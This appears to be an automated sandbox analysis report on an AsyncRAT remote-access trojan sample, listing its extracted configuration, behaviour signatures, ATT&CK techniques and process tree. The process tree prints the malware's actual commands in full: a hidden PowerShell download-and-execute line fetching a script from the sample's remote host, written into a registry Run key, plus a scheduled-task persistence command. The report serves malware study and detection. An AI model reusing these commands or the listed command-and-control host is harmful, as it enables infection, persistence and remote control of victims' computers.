Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
05/09/2026, 05:16
General
- Target ac6a360cc6399fabee26433c4f233afe0d8d540c45105fb729ec4da39a015351.exe
- Size 53KB
- Sample260905-fykzkstyex
- SHA256 ac6a360cc6399fabee26433c4f233afe0d8d540c45105fb729ec4da39a015351
Malware Config
Extracted
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ps1
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ps1.dropper
http://trungnguyen.co.za/load.ps1
Extracted
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asyncrat
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0.5.8
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Default
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trungnguyen.co.za:8080
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trungnguyen.co.za:443
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nHWk67X8IoFW
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delay
3
-
install
true
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install_file
tele@engineer_at_meta.exe
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install_folder
%AppData%
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Async RAT payload 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 13 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 25 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\ac6a360cc6399fabee26433c4f233afe0d8d540c45105fb729ec4da39a015351.exe"C:\Users\Admin\AppData\Local\Temp\ac6a360cc6399fabee26433c4f233afe0d8d540c45105fb729ec4da39a015351.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://trungnguyen.co.za/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://trungnguyen.co.za/load.ps1')\"" /f3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"' & exit2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"'3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp5F1F.tmp.bat""2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\timeout.exetimeout 33⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
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C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://trungnguyen.co.za/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://trungnguyen.co.za/load.ps1')\"" /f5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://trungnguyen.co.za/load.ps1')"1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://trungnguyen.co.za/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://trungnguyen.co.za/load.ps1')\"" /f3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_35jouc3f.hzb.ps1
tmp5F1F.tmp.bat
tele@engineer_at_meta.exe
memory/1872-18-0x00000000064E0000-0x000000000657C000-memory.dmp
memory/1872-1-0x00000000058F0000-0x0000000005900000-memory.dmp
memory/1872-0-0x0000000000EA0000-0x0000000000EB4000-memory.dmp
memory/1872-12-0x00000000058F0000-0x0000000005900000-memory.dmp
memory/4628-2-0x0000016D74C00000-0x0000016D74C10000-memory.dmp
memory/4628-14-0x0000016D74C00000-0x0000016D74C10000-memory.dmp
memory/4628-15-0x0000016D74C00000-0x0000016D74C10000-memory.dmp
memory/4628-13-0x0000016D74C00000-0x0000016D74C10000-memory.dmp
memory/4628-9-0x0000016D74A60000-0x0000016D74A82000-memory.dmp
memory/4628-3-0x0000016D74C00000-0x0000016D74C10000-memory.dmp